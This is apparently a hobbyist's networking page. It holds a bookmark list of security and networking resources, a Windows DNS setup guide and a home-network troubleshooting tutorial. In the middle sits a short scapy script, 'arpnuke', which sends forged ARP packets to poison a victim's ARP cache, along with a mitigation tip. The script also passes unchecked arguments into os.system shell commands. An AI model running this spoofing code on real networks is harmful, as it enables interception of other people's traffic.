Tech Links

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Here is my bookmark list. All of these links have something to do with networking, security, linux, web development or technology in general. I apologize that it isn't very organized but the information contained within them is very useful for learning about network administration.

Hak5 – Technolust since 2005

IANA — Internet Assigned Numbers Authority

Internet Engineering Task Force

US-CERT: United States Computer Emergency Readiness Team

SecurityFocus

DEF CON® Hacking Conference - The Hacker Community's Foremost Social Network.

Technology News, Analysis, Comments and Product Reviews for IT Professionals | ZDNet

Default Password List

Android Developers

W3Schools Online Web Tutorials

Color Scheme Designer 3

Typetester – Compare fonts for the screen

Tactile 3D Interface - Software to browse, explore, and organize your file-system in 3D.

Oculis Labs, PrivateEye

.:: Phrack Magazine ::.

Security - Keylogging

Testing and reviews of keyloggers, monitoring products and spy software (spyware) 2009

Tricks of the Trade: Cracking passwords with Wikipedia, Wiktionary, Wikibooks etc

What’s My Pass? » The Top 500 Worst Passwords of All Time

List of Free Proxy Servers - Page 1 of 9

bh-us-03-willis.pdf (application/pdf Object)

Welcome to The TCP/IP Guide!

Welcome to Scapy’s documentation! — Scapy v2.1.1-dev documentation

Internet Protocol Suite - Wikipedia, the free encyclopedia

SCAPY packet-crafting reference

Usage — Scapy v2.1.1-dev documentation

TCP Exploits by Prabhaker Mateti

TCP, Transmission Control Protocol

ARP spoofing - Wikipedia, the free encyclopedia

HEXADECIMAL to BINARY conversion, HEX to Decimal converter, Hexdecimal convertor

Cracking_Passwords_Guide.pdf (application/pdf Object)

PF: The OpenBSD Packet Filter

YouTube - SSL Strip

Moxie Marlinspike >> Software

PORTKNOCKING - A system for stealthy authentication across closed ports. : ABOUT : summary

HOWTO: Internet sharing with Ubuntu (NAT Gateway) - Ubuntu Forums

Paper: Kr3w's Cross-Site Scripting Tutorial | Articles | XSSed.com

SANS: Top Cyber Security Risks - Executive Summary

IT Security Magazine - Hakin9 www.hakin9.org

Black Hat ® Technical Security Conference // Home

2.1. Address Resolution Protocol (ARP)

Getting MAC address from a network interface

List of TCP and UDP port numbers - Wikipedia, the free encyclopedia

Wireshark · OUI Lookup Tool

Ethernet Type Codes

Multiple network interfaces and ARP flux - OpenVZ Wiki

arp(7): ARP kernel module - Linux man page

Section 27.6.  Neighbor Deletion

OReilly.Understanding.Linux.Network.Internals.Dec.2005

http://www.etpenguin.com/pub/Reference/DOC_arp.txt

http://tools.made-it.com/haring/desc.html

IRC - Linux Kernel Newbies

PLUG - Home

arp_accept | LinuxInsight

Arpwatch

git.kernel.org - linux/kernel/git/stable/linux-2.6.34.y.git/blob - Documentation/networking/ip-sysctl.txt

.::ArpON::.

CAM Table Overflow - Hakipedia

Defcon 15 - T364 LAN Protocol Attacks Part 1 - Arp Reloaded

Free online network utilities - traceroute, nslookup, automatic whois lookup, ping, finger

Free Webmaster Tools & Search Engine Optimization Tools

Geotool

Domain Tools: Whois Lookup and Domain Suggestions

IHS | Home of Johnny Long and Hackers for Charity, Inc

Snort :: Docs

Offensive Computing | Community Malicious code research and analysis

Wirelessdefence.org

www.dd-wrt.com | Unleash Your Router

Programming with pcap

http://www.secdev.org/projects/scapy/files/scapydoc.pdf

DigiNinja

YouTube - Hacking wireless networks with Man in the Middle attacks

ARP Cache Poisoning

Here is a simple script I wrote in python. It performs an ARP poisoning attack by sending a forged ARP request packet.
The syntax is "arpnuke [interface] [victim IP] [IP to masquerade as]"
For it to work it must be run as root and scapy must be installed.
The best way to mitigate this attack is with static ARP tables. See the man page for arp and the ifconfig -arp option for more info.


#!/usr/bin/python

import sys
from scapy.all import Ether,ARP,conf,sendp
import os

interface = sys.argv[1]
victim = sys.argv[2]
identity = sys.argv[3]
conf.iface = interface
print conf.iface

if (os.system('cat /proc/net/arp | grep ' + victim)):
      os.system('arping -f -I ' + interface + ' ' + victim)

def local_mac(iface):
      os.system('touch /tmp/.arpnuketmp')
      os.system('ifconfig ' + iface + ' | grep HWaddr | cut -d" " -f11 > /tmp/.arpnuketmp')
      f = open('/tmp/.arpnuketmp', 'r')
      return f.readline()[:-1]
      f.close()

def neigh_mac(ip):
      os.system('touch /tmp/.arpnuketmp')
      os.system('arp -na | grep ' + ip + ' | cut -d" " -f4 > /tmp/.arpnuketmp')
      f = open('/tmp/.arpnuketmp', 'r')
      return f.readline()[:-1]
      f.close()

destmac = neigh_mac(victim)
srcmac = local_mac(interface)
ether = Ether(dst=destmac, src=srcmac, type=0x806)
arp = ARP(hwsrc=srcmac, psrc=identity, hwdst=destmac, pdst=victim, op=1)

sendp(ether/arp)

HOWTO configure client-side DNS (windows)

STEP 1
Right click on the networking icon in the bottom right and select "Open Network Connections" or go "Control-panel > Network and Internet Connections > Network Connections"

STEP 2
Right click on the desired network connection and click "properties"

STEP 3
Select "Internet Protocol (TCP/IP)" or "Internet Protocol version 4 (TCP/IP)" and click "properties"


STEP 4
Change "Obtain DNS server address automatically" to "use the following DNS server addresses" and then enter the IP address(es) of your DNS server(s). Preferred will be queried first and if it is down then secondary will be queried instead. Only preferred is required.


STEP 5
Reconnect to the network and use "nslookup 'some.domain.name'" Your new server should be displayed under Server and Address as in the picture below. If settings still havent changed try rebooting system.

Basic Home Network Troubleshooting Tutorial.

This is just a simple guide to help fix most network problems. It doesn't cover installing NIC drivers, configuring DNS, or the very basics such as how to connect to a network. This is just here to give you some steps to take before you decide to call up your ISP and ask for further assistance.

STEP 1

Restart your browser and try visiting other websites. Are you able to go to visit other sites or are you still receiving the same error?
If other sites work then the website you were trying to visit is down. Otherwise move on to step 2.


STEP 2

Is your computer connected to your router? There are two ways this can be done; wireless or with an ethernet cable. Ethernet cables are usually blue and the ends look like phone jacks. Make sure the cable or wireless adapter is plugged in all the way and isn't loose.
Here are some examples of wireless adapters:



STEP 3

Unplug both your modem and your router from their power source. The modem is the device that either plugs into the wall via a phone line or a coax cable (the same kind of cable that your TV plugs into the wall with). The only connection between the router and the wall is the power cable. Now would be a good time to make sure the router is connected to the modem, there should be a cable going from the modem into a slot on the back of the router labeled "WAN". Wait 1 minute and then plug the power back into the modem. Now wait 2 more minutes and then plug the power back into the router. Wait another minute and then reboot your computer.


STEP 4

Test connectivity between your computer and your router. To do this open the command prompt by clicking "Start > Run" and then enter "cmd" or "cmd.exe" and press enter. Type "ipconfig" in to the black window that pops up.


Now make note of the "Default Gateway", in this photo it would be "10.0.0.1" Now try to "ping" the router by entering the command "ping ". So in my case I would type in "ping 10.0.0.1" and would get something like the following, replacing the "google.com" with your default gateway:


The second section indicated by the red box that says "Packets: Sent" shows you whether your ping requests are able to reach the router. If you are sending 4 and receiving 0 then there is a connection problem between your computer and your router.

Here are some other good links:
http://www.microsoft.com/windowsxp/using/networking/setup/wireless.mspx
http://support.microsoft.com/kb/928429
http://searchnetworking.techtarget.com/news/article/0,289142,sid7_gci945257,00.html